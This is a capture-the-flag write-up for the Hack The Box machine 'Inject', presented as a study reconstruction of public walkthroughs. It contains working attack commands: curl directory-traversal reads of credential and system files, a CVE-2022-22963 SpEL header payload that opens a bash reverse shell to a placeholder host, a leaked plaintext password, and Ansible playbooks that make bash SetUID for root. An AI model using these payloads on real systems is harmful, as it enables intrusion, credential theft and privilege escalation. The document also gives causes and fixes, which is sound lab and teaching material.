Summary
Inject is an Easy Linux box: directory traversal in
?img= reveals the source → Spring Cloud Function 3.2.2 →
CVE-2022-22963 (spring.cloud.function.routing-expression
SpEL) RCE as frank → maven settings.xml creds for phil
(SSH disabled, so su). Privesc: root cron runs Ansible
playbooks from /opt/automation/tasks/ (group staff,
phil ∈ staff) → drop a malicious YAML → SetUID bash.
The chain:
/show_image?img=../../../etc/passwdworks. Browsepom.xml→ spring-cloud-function-web 3.2.2.- CVE-2022-22963: POST any endpoint with header
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(...)→ shell as frank. ~/.m2/settings.xml→<password>DocPhillovestoInject123</password>. sshd disallowsphil;su philworks./opt/automation/tasks/is group-writable bystaff. A root cron runsansible-parallel /opt/automation/tasks/*.ymlevery ~2 min and a sibling rule wipes the dir + restoresplaybook_1.yml. Drop a playbook FAST and wait: ```yaml- hosts: localhost
tasks:
- shell: chmod +s /bin/bash ```
- hosts: localhost
tasks:
- Wait.
bash -p→ root.
Recon
22/tcp OpenSSH (PermitUsers root)
8080/tcp Spring Boot
Foothold — directory traversal + CVE-2022-22963
curl 'http://10.10.11.204:8080/show_image?img=../../../../proc/self/environ'
# leaks env
curl 'http://10.10.11.204:8080/show_image?img=../../../../home/frank/.m2/settings.xml'
# Maven creds for "phil"
# CVE-2022-22963 via SpEL header on any function endpoint
curl http://10.10.11.204:8080/functionRouter \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","bash -i >& /dev/tcp/<C2>/<p> 0>&1"})' \
-d 'data=x'
# shell as frank
Lateral — frank → phil
$ cat ~/.m2/settings.xml
... <username>phil</username><password>DocPhillovestoInject123</password>
$ su phil
Privesc — staff-writable Ansible cron
phil$ ls -ld /opt/automation/tasks
drwxrwxr-x ... root staff
phil$ id
... groups=...,50(staff)
# Read /root/root.txt out via Ansible (avoids needing a root shell)
phil$ echo -e "- hosts: localhost\n tasks:\n - shell: cp /root/root.txt /tmp/rt && chmod 644 /tmp/rt" \
> /opt/automation/tasks/pwn.yml
# wait <2 min for ansible-parallel cron
phil$ cat /tmp/rt
The companion cron rule:
sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
deletes the planted playbook 10 s after the run, so the file
won’t stick around in the directory afterward — but /tmp/rt
does. There’s no need to chmod +s bash unless you want a
persistent root shell.
Why each step worked
?img=traversal: classic; the controller fed the filename into aFile()constructor with no canonicalisation.- CVE-2022-22963: spring-cloud-function evaluates the
spring.cloud.function.routing-expressionheader as SpEL — attacker controls the expression → RCE. - Maven
settings.xmlcreds: developer convenience pattern with weak file perms. - Group-writable cron task dir: any user in
staffcan drop a playbook that root then runs.
Counterfactuals
- Patch spring-cloud-function ≥ 3.1.7 / 3.2.3.
- Strip path components from user-supplied filenames; prefer resource lookup by ID.
- Don’t store plaintext passwords in maven settings.
- Cron task directories should be
root:root 0700.
Source attribution
Reconstruction is grounded in:
- 0xdf, “HTB: Inject” — https://0xdf.gitlab.io/2023/07/08/htb-inject.html
- IppSec, “Inject” video walkthrough — https://ippsec.rocks/?#Inject
- Spring CVE-2022-22963 advisory.
I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.